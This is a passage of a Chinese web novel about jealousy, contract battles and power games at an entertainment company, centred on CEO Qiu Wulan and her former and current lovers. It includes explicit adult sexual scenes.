注意到华君润的余光,易蒲不好意思地冲他点头。 华君润善意地揶揄,“在外面也打字?真是体贴。” 易蒲腼腆地回答,“她比较忙,没时间听语音。” 华君润颔首,并不追问易蒲口中的“她”是谁,继续背自己的台词。 第一天拍摄结束,他松了松领口,呼出一口疲惫的浊气。 这份疲惫不是因为拍摄,而是源于被污染的精神。 从主演到导演,所有的一切都劣质不堪,女主还好些,华君润和她没什么对手戏,但是男主角——回想起和易蒲的几场戏,华君润只想回家看几部奥斯卡洗洗眼睛。 他笑着和向他道别的艺人、工作人员点头致意,换好衣服后站在剧组外围等助理来接。 “芜澜!你怎么来了。” 倏忽间,熟悉的名字钻入华君润耳中,他猛地扭头,就见那比卓别林更擅长表演滑稽的青年演员面露惊喜,满目柔情。 一辆银灰色的商务车停在他面前,反光玻璃遮挡了内里的情形。 车门滑开,华君润只听见了一句: “正好在附近,顺道过来接你。一切还好么?” 青年压抑着上扬的嘴角,侧身坐进了车中。 “都好,”他的声音变得和正常说话时不同,刻意挤压出滴水的温柔,“剧组很照顾我,搭戏的是一位我尊敬的大前辈。谢谢你芜澜,我真的很喜欢这部戏。” 低调的商务车从华君润面前开走。 他失魂落魄地站在原地,直到助理赶来拉他上车。 两个小时的车程,快到家时,华君润才渐渐回神,一抬眸,他看见了后视镜里的自己。 痴怔,且嫉恨。 第30章 第三十章 完成对赌、摆脱经济上的困窘后, 华君润终于得以从机械的赚钱中获得喘息,抽神看一眼外面的世界。 他知道了秋叶娱乐正不断扩张,在自己离开的那年完成了上市, 跻身成为娱乐圈第一梯队的公司。 他知道了邱芜澜换男人如换衣服的绯闻,酸涩的刺痛中, 华君润又滋生出了卑劣的窃喜—— 他们分开以后,她每一段恋期都比他们在一起时要短太多。 以华君润对邱芜澜的了解, 那些所谓的“恋人”,在她眼里大约只是泄.欲的工具。 只有他,才算得上走入过她的心门。 可这又有什么意义? 短暂的窃喜之后, 涌上来愈多的痛苦。 华君润嫉恨那些能够肆意触碰邱芜澜的男人, 他们甚至不是和邱芜澜门当户对的富豪精英, 只是一群能力低下、连对着镜头傻笑都不会的蠢货。 他忍不住关注易蒲, 挑剔地打量这个男人到底有什么值得邱芜澜喜欢的长处。 长相一般、皮肤粗糙, 甚至还有点斜肩, 最可笑的是他连话都说不清楚, 几百字的台词,中间竟要卡壳两次。 在易蒲又一次抱着手机发消息时,华君润满含恶意的揶揄, “这么黏糊呀, 聊一天了, 看会儿台词吧。” 青年抬头,还是那样腼腆青涩, 他望着华君润, 目光过分纯粹,以至于仿佛别有深意。 他回道:“她比戏重要。” 华君润差点维持不住脸上的假笑。 杀青那天,易蒲又一次过来握手。 “君润老师, 我真的没想到自己有机会能跟您合作。”他还是那么尊敬他、崇拜他,溢于言表的喜悦激动。 华君润颔首,“这话你第一天已经说过了。” “可我还是要再说一次。”青年弯眸,露出和华君润弧度相似的笑,“您是我见过最特别的前辈,我格外欣赏您对家庭和事业的态度。” 华君润不明白这话是什么意思,他并没有在镜头前透露过家庭方面的讯息。 两个助理匆匆跑来,一个为易蒲擦汗补妆,一个推着移动空凋,向他汇报行程:“易蒲哥,下午还要试镜,中午只能在车上休息了。” 易蒲转身,“把试镜推到明天,我下午有事。” “可您已经推了好几次了,剧组那边催的有点紧。” “没关系,明天我会去道歉。” “您有什么急事吗?” “嗯,”青年眉眼含笑,“家里有人在等我。” 他在簇拥下离开,许久,华君润脸上血色褪尽。 他才反应过来,易蒲两次和他握手,脸上的激动喜悦是因为什么—— 他在高兴,高兴邱芜澜对他的宠爱,连华君润这样的影帝都能请来给他当配角。 他称呼他为前辈,从来不是表演上的前辈,而是别的某些领域。 愤怒的妒火霎时吞噬了华君润,焚烧的对象并非易蒲,而是他自己。 他恨极了三年前的自己,将邱芜澜的爱弃如敝履、一次次无理取闹地冲她发脾气,最后亲手将她推开。 怨不得别人,一切都是他咎由自取。 那卑鄙的想法再度涌出—— 他不会再胡搅蛮缠了,现在的他去找邱芜澜,他们还有复合的可能么? 不可能。 华君润毫无根据的否定了自己。 他的芜澜是绝对的精英主义,想要得到她的认可,就必须有足够吸引人的价值。 负债结束,新一轮倍数沉重的经济压力压在华君润背上。 他要荣誉、他要名望、他要刺眼的光辉。如同珍贵的宝石需要打光一样,他也需要亮度更高的聚光灯,才能博得邱芜澜的注意。 激烈汹涌的情绪无处发泄,这些恶气熏天的垃圾日复一日堆积,发酵而出的沼气充溢华君润全身,一点点高温,便引起了轰然爆炸。 最佳配角、影帝、视帝、国际提名,再到享誉世界的亚缇丝影帝。 他变得有足够价值,可秋叶娱乐也被邱芜澜打造成为了最不缺奇珍异宝的拍卖场。 宋折凝突然发布云书的那天,华君润欣喜若狂,可惜多年的压抑让他畏惧裹足,这一份迟疑,令他错失时机。 仅仅只是半个小时,季语薇便抢先一步。 没关系,他还有挽回的机会—— 只要今天收盘时秋叶娱乐的股票有丁点下跌,他就还被需要的价值。 魔鬼听见了华君润虔诚的祷告,连邱芜澜都没能挽救这一天的市值。 华君润得偿所愿地联系了简,在家里焦急地等待着邱芜澜朝他靠近。 邱芜澜的确愿意签下华君润,否则她就不会来到这里。 但眼前的华君润,似乎有些不太寻常。 “有药么。”她放下碗筷,绕过桌子,扶住了华君润颤动的肩膀。 隔着毛衣,邱芜澜竟能感受到热度。 手掌落下的刹那,华君润猛地打了个哆嗦。 “药?”他不解地望向邱芜澜,温润的凤眸里水雾澹澹。 少息,他反应过来邱芜澜说的是什么,“不、我没有生病,芜澜,只是这么久没见,有点激动。” “只是有点激动?”邱芜澜重读他的话。 “是。”华君润抬头冲着她笑,“别担心,我很好。” 他的瞳孔轻微涣散,像是被强光直射,不断分泌泪水,笑容飘忽虚幻。邱芜澜不觉得这能称为“很好”。 她停顿了一下,俯视着一脸病态的华君润,权衡比较着这病对自己、对秋叶的风险和为华君润演技增添的助益孰轻孰重。 天平来回摇晃。 “君润,”邱芜澜放柔了声音,双手按压上他的太阳穴,让他清醒,“好好想一想,药在哪里?你需要吃药。” “没、没有,”华君润抓住她的手腕,凄迷地仰望她,“别害怕我,芜澜,我没有病。” 他祈求她的触碰,说完话后,陡然一怔。 那双清冷的美眸中浮现沉思,旋即变得暗昧深长。 华君润瞳孔骤缩。他反应过来,自己说错话了。 “是的、是的,我有病!”他急切地改口,“我明天就去医院拉诊断报告!” 邱芜澜的视线从高处落下,既不锐利也不冷酷,唯有一种上位者的俯视感厚重得如有实质。 这目光仿佛是在问—— 还有呢。 “我会把所有社交账号都上交公司!”华君润的声音近乎哀凉,“芜澜,我愿意住公司安排的宿舍、用公司安排的团队,你也可以给我安排贴身助理,我会服从秋叶的一切安排!” 良久,抛开了不必要的虚词,邱芜澜开口,“我可以签你。” “但后期你要配合我去见心理医生。君润,这也是为你好。” 她舍不得精神疾病为艺术家增添的红利,可也不想公司里有个不稳定的疯子炸弹。 衣摆一沉,她被紧紧攥住了衣衫。 “芜澜、芜澜……”男人脸上露出不知所措的狂喜,他另只手扯下毛衣的高领,露出一角皮质的黑色。 “你今天一定很累。”他梦幻地微笑,“让我为你放松,好么?” 邱芜澜无动于衷地后退,“我有男朋友了。” 华君润脸上的喜悦霎时定格。 邱芜澜接着道,“这个时候,我不希望股价再跌了。” 她可以有花边新闻,但不能有桃色丑闻。 换男人如换衣服是前者;同时与多名男性发生关系,属于后者。 “我可以等!”华君润立即道。 邱芜澜叹息,“你知道这么多年我不吃窝边草的原因。” 她轻轻地拨开华君润的手,帮他理好了衣领,将那黑色的项圈彻底盖住。 “我不喜欢被纠缠。”她俯身对他耳语,“何况这一次,我是认真的。” 华君润怔忪地望着她,僝僽地扯了扯嘴角,“他……很好么?” “嗯——有点像年轻的你,努力、认真、不够圆润,但青春洋溢。” “那…”“可又比那时候的你聪明乖巧一点,叫我省心。”邱芜澜拂了拂他肩上的浮尘,“乔迁快乐。我很喜欢今天的菜,你想好的话,下周去人力报道。” 她说完离开了华君润,路过餐桌的时候,踟蹰了一下,退回半步,捧起汤碗咕咚咕咚喝了干净。 简在车库等她,见了邱芜澜,当即询问:“怎么样?” “太可惜了,”邱芜澜蹙眉抱怨,“我还来不及吃,菜都凉了,只有汤还是热的,我全喝掉了。” 简心领神会,看来华君润真的已经是过去式。 撕下了初恋的滤镜,他在邱芜澜眼中和其他前任没有任何区别,触动不了半分波澜。 “哥哥还没有回复么?”邱芜澜很快专注起自己关心的问题。 简摇头。 “是么……”邱芜澜敛眸,“那就好。” 她说话间团团白雾从口中飘起,又在空中缕缕散尽。 邱芜澜的目光沿着脚下的道路蔓延,望向虚无的远方。 身后的几栋别墅都亮起了灯光,温暖的室内,那抹套在脖颈上的黑色项圈在邱芜澜脑海中划过。 与之同时,她想起了少年温顺的发顶。 邱芜澜没有吃饱,又没法坦然地联系季尧。 元旦那晚,是她亲口将他驱逐的,还不到一天,她却需要他了。 季尧的存在如同最后一页大结局的真相,邱芜澜担心手指轻轻一翻,就会猝不及防看见自己抗拒的内容。 但再厚的书都有看完的那一天,她不能永远囿于在一本书里,外面有太多的知识需要她掌握,必须尽快开启下一本新的内容。 邱芜澜无端的生出一股烦闷。 如果季尧是和她有血缘关系的亲弟弟,那么一切都会顺心很多。 月亮偏转,接替它的太阳不紧不慢地出现在了天空。 元旦后的第二天上午,宋折凝的律师达到了秋叶,几轮洽谈都没有达成双方满意的结果,法律的拉锯战就此开幕。 一周后,躲过最劲的风头,宋折凝本人和她的团队进入了华映大楼。 宋折凝的助理芳若,打量着平静的华映大厅,忍不住去岚耳边小声嘀咕,“岚姐,怎么连个横幅都没有呢。” “宋姐签了竞业协议你忘了?”岚扭头叮嘱她,“记住了,咱们是来合作的,可不是来入职。” “哦。” “是宋姐吗。”没有横幅,好歹前台还有接待。 “我是赵志强经理的秘书,几位老总已经在会议室等您了。” 她引宋折凝一行去了会议室,门一开,赵志强和华映的两位副总、法律顾问纷纷起身朝她问好。 熟悉的热闹隆重,让岚宽心了些。 “折凝这两天可是闹得天翻地覆啊。”副总笑着开腔,“怎么样,没受影响吧?” “瞧这话说的,十几二十年了,啥大风大浪没见过呀。”宋折凝坐下,“赶紧着吧,把正事办了,我带我们家孩子去试试华映的伙食。” 法务将文件送到宋折凝面前。 “保密条款和主要合约之前已经签完了,这是咱们的一些细节补充。” 宋折凝翻开。 华映仔细研读了秋叶的ASHS解约条款,关于竞业协议一条,写明的是“一年内不得在秋叶娱乐及其关联公司有竞争关系的单位任职,或以任何方式为其服务,也不得自己生产经营秋叶娱乐及其关联公司的同类产品或业务”。 “国内市场就不用想了,但其他国家,还有几个和秋叶以及秋叶合作方没有牵连的公司。名单和详细情况我们都列在这儿了。” “宋姐之前唱过歌、拍过戏,广告综艺什么都做过,排除这些业务后,我们为您准备的身份是‘导演’。” “一年时间,一到两部重量级国际影片,用来冲击各项大奖,将您的身份进行一个升级,一年后竞业限制解除,我们就与您正式签约。” “秋叶肯定不会承认的。”岚说。 “他们要起诉,那我们就应诉。律师费、违约金,华映全都准备好了。”华映也没打算真就靠这个空子钻过去,“牵涉多方、宋姐又不是普通人,案子审完早过竞业期了,先拉扯着,到时候真要赔钱就赔一点儿,我们预估违约金在二到六个亿,以宋姐的能力,这点钱一两年还不是轻轻松松回来么。” 竞业协议通常是针对高级管理和技术人员,宋折凝有,但她的团队没有限制。 所有人都在宋折凝发表云书当天,于秋叶OA递交了辞呈,一个月后自动视为离职。 让整个团队愿意跟着宋折凝来华映的原因主要是两点,首要的是宋折凝的影响力。 他们和其他就职于综合部门的员工不同,工位、工作内容一直围绕着宋折凝,宋折凝这么一闹后,他们在秋叶的地位就会相当尴尬。 其他几位ASHS的团队早已成熟,他们要调岗只能是往下调。 直属上级叛变,其他团队成员都走了,就留下自己,这是变相地否定能力,别的领导也会对他们“另眼相待”。 其次就是薪资待遇上的提升。 华映将宋折凝团队所有人底薪提了10%,团队分红更是提高了6%。 后者是关键,宋折凝去年一年净利润在1.8亿,提高6%,就是增加一千万的收入,十五人的团队,平均每人年收入将直接增加六十七万,像岚这样的经纪人分成比例只会更高。 这种背刺公司的行为,的确有断送职业生涯的风险,但娱乐公司本就是个用命换钱的地方,有几个人能捱到退休。 底薪加上分成,拼命干个几年直接躺平,不比007一辈子来得强? 出于这两点考虑,宋折凝团队所有人都离开了秋叶。 “虽然团队成员没有竞业协议,稳妥起见,第一年还是先跟着宋姐,等官司结束了,咱们再入职签约。这一年里的薪酬开支,财务会打到宋姐账上。” “这都是小事儿。”宋折凝摆手,“你先告诉我这一页是怎么回事儿?” 最后一份文件上,赫然出现了四个字“对赌协议”。 条约规定,宋折凝需要在签约后两年内达成3.7亿净利润,如完不成协议,宋折凝需自行补偿所欠部分,且华映有权修改和宋折凝签的经济约。 两位副总道,“这只是给董事会的一个交代,宋姐您别多心。” “这么大的数字,我能不多心?”宋折凝不上套,她质问赵志强,“你找我的时候,可没提这一茬。” “我找您的时候,董事会也没说要追加这样一份文件。”赵志强面露难色,“我和您说实话吧,问题出在了季语薇身上。” “秋叶的抗风险能力太强了,董事会一看,折腾半天,把一姐都挖来了,秋叶才受了点皮毛伤。得罪了这么一尊大神,公司心里也发怵——您是知道的,秋叶可不是一般的娱乐公司。” “你们要是怕,就不该找上我。”宋折凝把合约一摔,“没这个底气就别揽瓷器活儿啊。” “宋姐、宋姐您听我说。”赵志强耐心道,“这只是份稳定军心的旗帜,数字也不是胡乱写的,要是您真完不成,吃亏的是我们!光您和您团队的应诉费、违约金加起来都不止这点儿,公司还得折上和秋叶撕破脸的代价,您自个儿算算,是谁吃亏。” 这话并不夸张,宋折凝叹了口气,“我也知道你们签我是冒了风险的,但是两年净利润3.7绝不可能,你们自己算算这十年有几个艺人做到了这个业绩的?” “那您这边能接受多少呢?”华映的法务问。 “姐也不和你们耍心眼,去年我在秋叶是1.83,我给你们凑个整,两年2.5。可以吧?” “这个数,董事会可能不会同意。”两位副总摇头,“他们的底线原本是4。” 宋折凝脸色顿时沉了,她眉梢一挑,正要说话,忽然被岚扯了扯袖子。 岚代替宋折凝开口道,“突然变换公司,又有竞业协议的限制,且不说宋姐和团队需要适应、调整的时间;再说在秋叶的时候,全公司最好的资源都是紧着宋姐的,这样的情况下宋姐才做到了1.83。我们现在并不清楚华映能给到宋姐的资源有多少,也不知道华映能拿到什么样的资源,3.7实在是有点强人所难了。” 华映的几人交换了下目光,一时没有开口。 气氛变得僵沉。 半晌,为首的副总笑了笑,“牵扯到的金额确实不小,没事儿,这事儿也不急着现在就定下来。这样吧宋姐,我先叫助理带您参观下公司,中午一起吃个饭,等您的律师回来了,咱们再慢慢商量。” 岚先前不好的预感在此时拉响警报。 她们太冲动了。 宋折凝已经和秋叶闹翻,如果不同意华映的条约,他们将独自面临秋叶的侵权追责,光是宋折凝那一条云书导致的秋叶股价下跌0.12%,都会化作一个天文数字。 离开了会议室,岚以上厕所为借口,去了楼道醒醒脑子。 清醒、冷静,她得想想有什么办法能跳出这个泥坑…… 正当她深呼吸调整情绪时,手机嗡嗡地响了起来。 “岚姐!” 打来的是她在秋叶带过的徒弟,如今独立带着几个选秀出道的女偶像。 “怎么了小吴?” “岚姐你居然接电话了!”对面的声音很小,像是刻意压低了嗓音。 岚能够理解,这个时候,秋叶没人敢和宋折凝扯上关系,小吴能打电话给自己,已经是看在了师徒情分上。 “没事岚姐,我就是想问下你那边还好吗?” “还行吧。”岚含糊着敷衍过去,趁机打探消息,“你们呢,公司还好吗?” “好着呢。对了岚姐,我打电话是想告诉你,我刚刚看见了个人!你绝对猜不到是谁!” 她的语气分外激动,岚顺着她的意往下问:“谁呀?” “华君润!” 那刻意压低的声音倏地抬高了,“岚姐!我看见华君润了!听行政说,他们在准备新的办公室!” “岚姐?” “喂岚姐,听得到吗?你那边信号不好?” 岚顾不得回答,急忙将通话界面拉去后台,打开了云书。 果不其然,一条黑红色的“爆”出现在热榜。 就在她们与华映开会的时候,秋叶发布了签约华君润的消息。 一天之内同时签约歌坛天后和国际影帝,云书被爆火的流量撑得有点卡顿,岚点了两次,盯着那转悠不停的加载条,当跳出盖有云书红章的文件时,她眼前一阵晕黑,靠去了灰白色的墙上。 错了……走错了。 这一步的选择错得离谱,秋叶娱乐的势力远比她想象得还要深晦。 即便跳离宋折凝这条破船,她的职业道路也已被自己亲手断送。 “岚姐?” 惊讶的女音从楼梯上传来,岚抬头,看见楼道上探出助理芳若的脸来。 “岚姐,你怎么在这里呀,宋姐到处找您呢。” 岚收起手机,“我知道了,你先过去吧。” 她得离开,她必须离开宋折凝,不能再和她扯上任何关系! #华君润 秋叶娱乐#的词条铺天盖地。 岚所在楼层的上方,刚刚同他们在会议室里见过面的两名副总坐在一块儿,也收到了这一消息。 “秋叶又收了一名虎将啊。”男人摘下眼镜,将手机递给同僚。 “也不知道费那么大劲儿挖宋折凝干嘛。”同僚哼笑着接过,看了一会儿华君润的海报,“这事儿处理不好,你我都得被董事会开了。” “你不说我不说,谁会知道。” “就怕赵志强那小子琢磨出点儿什么。” “他有证据么。”副总摊手,“人是他挖的,事儿是他主导的,你我只是审批一下。” 对方不置可否,只是摇着头长叹一声,“钱不好赚啊,大资本家口袋里的钱就更不好赚。兄弟,小心些吧——”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第三十一章 云书和瑚城的媒体又一次动作了起来。 在宋折凝发文疑似和秋叶解约不到三十六小时内, 秋叶便公布了两名新签约的重量级艺人—— 天后季语薇,影帝华君润。 继季语薇之后,华君润亦公开表明自己签约秋叶。 一周时间, 秋叶娱乐迅速回温,迎来了今年第一个涨停板。 “不好意思。”ASHS的办公层里, 季语薇对走来的华君润致意,“我没有想到你会回来, 占用了这块办公区。” 华君润在她前斜方的办公室前停下。 “没关系,”他温和道,“我的团队人少, 用不了那么大的地。” “中午一起吃饭?”季语薇提出邀请。 华君润展眉, “可以。” 简单的寒暄, 两人就此分开, 互不干扰地进入各自领地。 “综合办公室以外, 所有独立办公室都换成电子锁。”邱芜澜一边迈步, 一边将签好的文件交还给简, “下周内换完。” 简走在她身后,“是帮集团测试新产品么,需不需要拍一下宣传广告?” “不是测试, ”邱芜澜松了松衬衫袖口, “是我需要。” 宋折凝团队这样的事情不能再有, 高管们私下的拉帮结派必须扼住嗌喉。 邱芜澜要掌控所有人每时每刻的交际记录,谁进入了谁的办公室、在里面待了多久, 她要一清二楚。 简敏锐地感受到了一丝冷戾。 宋折凝叛变以来, 邱芜澜就隐隐展露出了攻击性,像是当年夫人去世后的那段时间一样。 她强行压制了性.瘾,堵塞的欲望只能冲向其他地方, 譬如掌控欲。 监测进出人员并不会起到实质性的阻拦作用,真想说点什么事,可以线上、可以私下。 未免气氛紧张,邱芜澜甚至不能让员工们知道这是一种监视,对外只说是保密措施,防止外部人员随意进出办公室。 换锁的举措,只是邱芜澜单方面的发泄,换取心理上的安宁。 身后传来脚步,邱芜澜顿足,听见球鞋类的胶质鞋底踏在大理石地板上,不重,来源于女性,径直冲她跑来。 就算邱芜澜的记忆力不差,也不至于到记住全公司所有人的脚步,但这一时刻,大脑无端拉响了警报:这是陌生的足音,并不在她的记忆库里。 理智知道对方无害,可领地里出现了陌生且未知的存在,邱芜澜无端有些心悸。 她闭了闭眼,压下狂躁的心跳,听见了一声呼唤:“邱总!” 邱芜澜回身,小跑而来的是季语薇的助理。 “邱总,”她对邱芜澜笑道,“语薇姐让我来问问您,今晚有空么,她想去您家里谈点儿事。” 说罢,她发现邱芜澜正盯着自己,目光尖锐,形同审视。 很快,这古怪的目光收了回去,邱芜澜淡淡点头,应了下来,“好。” “好的,那我去告诉语薇姐。”小助理没有多想,那应该只是她的过度解读。 她离开后,邱芜澜猝然低头扶额,侧边的长发垂落,将脸拢在阴翳之中。 “药……”她压着鼓鼓跳动的额角,对简嗫语,“药。” 简心下一骇,扶着邱芜澜往办公室去。 透过秀美的发丝,简并没有在邱芜澜脸上看见熟悉的润红,她的反应像是普通的晕车、头痛。 “今天的药已经吃过了。”简小声道,“小姐,我去约一下医生吧。” 邱芜澜没有反驳。 她确定自己的病在恶化,背后传来陌生足音的那一霎,她十指和手腕控制不住地颤抖,身体叫嚣着想要抹杀外来的入侵者。 情况很差,她需要新的疗程、新的药物。 夜幕降临,CBD反而变得热闹。 绚烂的霓虹灯、冷色的镭射灯照相辉映,中间堆挤着前后发亮的汽车。 天空下起了细雨,湿冷的冬天,这场冷雨将空气变得愈发潮湿。 邱芜澜靠在车座上昏昏欲睡,浓重的水汽像是一衾厚被裹在她身上。 抛去心理方面的因素,邱芜澜本身也是晕车的,过分挑剔的舌头弄坏了她的胃,邱芜澜的出行方式中,直升机比汽车更多。 今天天气不佳,预测半小时后会有雨夹雪,小区物业停止了直升机供应服务,邱芜澜自己的两架飞机所委托代管的通航公司也不建议她今晚使用。 简在前面开车,忽然听见后座隔板升了起来,隔开了前座。 车上还载着季语薇。 她升起隔板,从包里翻出一支透明的唇釉。 清凉的柑橘气息飘出,她在唇上涂了薄薄一层,随即侧身扭腰,搂住了邱芜澜的头。 邱芜澜偏了首,柑橘的气息偏斜,自她唇角擦过。 季语薇不解地眨眼,邱芜澜疲倦解释,“我有恋人了。” 弦震似的笑倾泻而出。 “我被休了?”季语薇抬手,属于音乐家的手指修长优美,她徐徐揉着邱芜澜的太阳穴,缓解她的头疼。 “怎么样的恋人?”她在邱芜澜耳畔呵气,清爽的柑橘气驱散了晕车的潮闷,“比我还好用么。” 那支唇膏是季语薇特质的,专门缓解晕车。 邱芜澜回头,抵着季语薇的额深嗅。 和她相似的发丝拂过脸颊,蓬松、干爽,一如晒过太阳的猫,散发出温暖的小猫味儿,让邱芜澜在这泥泞的封闭环境里得到片刻喘息。 雨声大了,不到半个小时,雪子落了下来,噼里啪啦地砸在车上。 空气愈冷,窗内凝出水雾,窗外挂满了雨珠。 两种形态的水晕染了繁都里的种种光线,车窗外的世界像是一池打翻颜料的水塘。 透过斑斓迷离的光彩,季语薇看见了邱芜澜身后的3D裸眼巨屏。 车子在红灯前停下,这一刻,季语薇出现在CBD上空。 巨幕投出了她的3D影像,一身纯白的季语薇撩开慵懒柔美的卷发,露出璀璨夺目的钻石耳链。 白色取代了黑色,钻石取代了口红。 宋折凝在秋叶期间的所有广告暂停、撤下,季语薇代替她站在了世界经济中心之一的瑚城之上。 季语薇很喜欢这支新拍的广告。 “我不想节外生枝。”邱芜澜没有直接回答季语薇的话。 清浅的兰草气拂过,季语薇偏头,若即若离地蹭过邱芜澜的唇,她依照邱芜澜的话,没有亲吻她,只是贴着她轻语:“芜澜,没有人能像我一样爱你,男人们、华君润可不会在这个距离停下。” “所以我不会容忍他们近到这个距离。”邱芜澜摩挲着季语薇的后颈,清冷的眸中翻涌着情潮,“语薇,这个时机不好。” “我很担心你。”季语薇无视了她的警告,“后天开始,我不能常陪在你身边了。华君润背叛过你,不值得信任;而你的新男友……显然还没有调.教好。” 邱芜澜阖眸,重重吞咽唾沫。 “简,”她在季语薇丝绸般的发丝、春雨般的爱抚中,喑哑开口,“明天的会议改到线上。” 阻断药在渐渐失效,为保证后续工作,她无法拒绝季语薇的提议。 那两瓣柔软的柑橘最终贴上了邱芜澜,淌出悦耳的笑。 车子入库,别墅的智能感应系统打开了灯,简沉默地离开,将门合上。 “芜澜……我的芜澜。”季语薇躺在沙发上,及腰的法式长发铺散在身后,她恍惚地触上邱芜澜的侧颊,天花板上的灯光刺得她流出泪来,在这灯光下,她身上的邱芜澜好似神祇耀不可视。 “有时候,我觉得…自己是真的爱上你了。”她问,“芜澜,你爱我么?” 邱芜澜低喘着。她抬手从茶几上抓来一支钢笔,拔开了笔盖。 咕噜……钢笔盖滚进了沙发下。 她点了点季语薇的肩,“转过去。” 昂贵高级的明尖笔出墨流畅,邱芜澜执着笔,在季语薇莹白的肩胛书画。 顷刻,她将笔搁回茶几上,没了笔帽上的笔夹,光滑的钢笔很快滚落,不知掉去了哪里。 冰白的肌肤上,留下苍润的花体—— 「Μουσαι」 暗红的墨水覆在肩胛之上,她压着季语薇另一侧肩胛,像是将一只美丽脆弱的蝴蝶碾在指下,禁止她扇动翅膀。 季语薇问,“写了什么?” “我的回答。”邱芜澜俯身亲吻落笔的地方。 「Μουσαι」 她的缪斯,她的理论试验田,给予她源源不断的商业灵感。 她当然爱她。 早上九点半,邱芜澜准时出现在视频会议上,她穿着邱家人偏爱的冷色调,自然卷的长发优雅干练地拢在一侧,露出另一侧的钻石耳链。 半个小时前,季语薇用濡湿的手指为她戴上了这条耳链。 “有点重。”邱芜澜蹙眉,她不习惯戴这么华丽的配饰。 “这是我代言的。”季语薇无辜地眨眼。 邱芜澜便没有再多说什么。 她面色淡淡地听着汇报,策划部给了几个关于季语薇和华君润的提案,认为季语薇的挖掘空间更大一些;市场部将她评估为秋叶娱乐上半年的拳头产品,预计纯利将超过华君润。 会议围绕华君润和季语薇后续工作展开; 书房的桌子下,季语薇跪在邱芜澜腿间,轻柔地抚慰她。 她赤.裸着身体,只松垮地披了一件邱芜澜昨天穿过的外套。 会议途中,邱芜澜偶尔按住她的头,季语薇便心领神会地加快速度。 她像是幼猫吸.吮母乳,吞咽之际泄露出含糊的低吟。 两个小时的议程结束,邱芜澜奖励地抚了抚季语薇的发顶,却没有让她停下。 瘾和普通性.爱的不同点在于,前者是机械性的重复,即便疲倦也无法停止。 “会上的那些安排,有你不满意的么?”她抓着季语薇的发根,逼迫她更加深入。 模糊的声音从下方钻出,夹带着滑腻的水声,“我不管其他的…唔,芜澜,别忘了你答应我的事……” “那个访谈?” “嗯……” 季语薇答应救场的条件之一,是要邱芜澜亲自迎接她进入秋叶。 她手头上音乐以外的活动不多,唯一参加的综艺是一项名为《去你家做客》的访谈。 季语薇作为主持人,和另外三个主持拜访不同行业的精英,参观他们的家、并在家中进行采访。 邱芜澜参加过很多财经类的节目,但从不参与娱乐类的节目,更不会轻易让人进入她的家、她的私人领地。 这是季语薇想要的“亲自迎接”,也是邱芜澜不急着让宣发公布季语薇排程的原因。 不需要参赛、进组,秋叶娱乐总裁的份量足以安抚粉丝们的担忧,让他们为季语薇的选择狂欢高呼。 “去公司边上那套。”邱芜澜和跪在自己身下的季语薇讨价还价。 “那套公寓买了多少年了,你早就等着这个节目了是不是?记得要去…‘收拾’一下。” 邱芜澜轻轻抽气,眸光漉湿了一瞬,很快,她从激烈中回神,开始办公。 “确定好时间,通知简。”她并拢膝盖,将季语薇紧紧锁住。 几小时过去,伴随着一声轻叹,邱芜澜结束了上半天的内容。 她松弛地靠向椅背,拉开抽屉,从里面找出一颗糖剥开,示意季语薇吃。 “我不爱吃糖,留着给你的三头小狼崽吧。”季语薇笑着,从她身下退出,“和你在一起,我怎么能不自带食物。” 数小时的跪坐,即便有足够厚的软毯,普通人也难以坚持。 季语薇起身时,晃荡的外套下,膝盖处通红一片。 作为舞者,她是很爱惜腿的,平日里甚至不穿带跟的鞋。 她下了楼,带回自己扔在玄关处的包,扭身侧坐去邱芜澜腿上,当着她的面拉开拉链。 馥郁的香味顷刻间飘出,她从包里取出一支香水百合。 邱芜澜吃掉了手上的糖,季语薇撕下花瓣,送入口中。 她坐在邱芜澜腿上,品尝着鲜花,穿着欲坠不坠的女士西装,秋水盈盈地盯着她,一片一片地将花撕下放入唇中。 撕开花瓣的声音和细微的咀嚼音,在香水百合的香气里无限放大,催生出馝馞的暧昧。 她的眼神、呼吸都像是妖冶的花泥,被嚼出汁液,徒留糜烂。 “尝尝看?”季语薇扯下半片送到邱芜澜嘴前,邱芜澜抗拒地退开。 “试一试嘛,”那略显警惕的目光逗笑了季语薇,她追逐邱芜澜的唇,半哄半撒娇,“你也不是没吃过百合。” “那是阿尧做的。”邱芜澜说。 “那么,”季语薇将花瓣抵在邱芜澜唇上,“这是阿薇给的。” 邱芜澜忍俊不禁,趁着这个空隙,季语薇立刻把花塞了进去。 只一瞬,邱芜澜就僵硬了。 清冷的五官皱了起来,季语薇水凌凌地颤笑出声,“你简直像是一位头发上爬了毛虫的公主,害怕得尖叫都不敢叫了。” 邱芜澜吐了出来,拿起水杯灌了几口水。 她埋怨地嗔视季语薇,季语薇搂住她的脖颈,送上双唇,“原谅我,殿下。” 邱芜澜原谅了她,接受了她的吻。 几息之后,她倏地抬眸,恼怒地瞪着季语薇。 季语薇退开,唇角牵着一丝带百合香的银线。 她天真无害地望着邱芜澜,邱芜澜转头,从口中吐出了又一半花瓣。 细铃般的笑声溢满了书房,季语薇笑得肩膀颤动、不能自己。 “抱歉。”她窝在邱芜澜怀里,笑得揩泪,“妈妈把厨艺天赋都点给了阿尧,他姐姐做饭只有这个水平。” 和季尧同姓的季语薇最擅长的一道菜,叫作沙拉。 她和季尧没有血缘关系,只是偶尔拿这个姓氏调侃一下。 “你什么时候有了这样的癖好。”邱芜澜抽纸,反复擦着嘴里的残味。 “因为是你送给我的花。” 季语薇说完,见邱芜澜面露疑惑,叹息一声,“渣女。” 邱芜澜这才想起,这是她让简以她的名义订给季语薇的花,用来表示欢迎。 一想到这花已经放了近一周,从花店到办公室,再到季语薇的包,不知经了几只手、沾了多少灰尘、有没有每天换水,邱芜澜连忙又剥了颗糖,盖掉口中的涩味。 她的反应落在季语薇眼中,换来又一串甘美的笑。 她再度请求她的原谅,被邱芜澜杯弓蛇影地捂住了嘴,季语薇落寞地垂眸,“这就不信任我了?” 邱芜澜不留情面地点头:“嗯。” 季语薇偏头,含入捂在嘴上的两指,“给你检查。” 日月轮转,黎明到来之前,季语薇去浴室清洗了身体。 她赤着身走出浴室,窗外漆黑如墨,电子挂钟显示时间凌晨四点。 美市还有半小时收盘,季语薇掠过坐在床上的邱芜澜。 她戴着防蓝光眼镜,一边听财经新闻,一边察看股市,没空搭理自己,季语薇自觉去厨房为自己做早餐。 “把头吹干。”邱芜澜盯着屏幕,突然出声唤了一句。 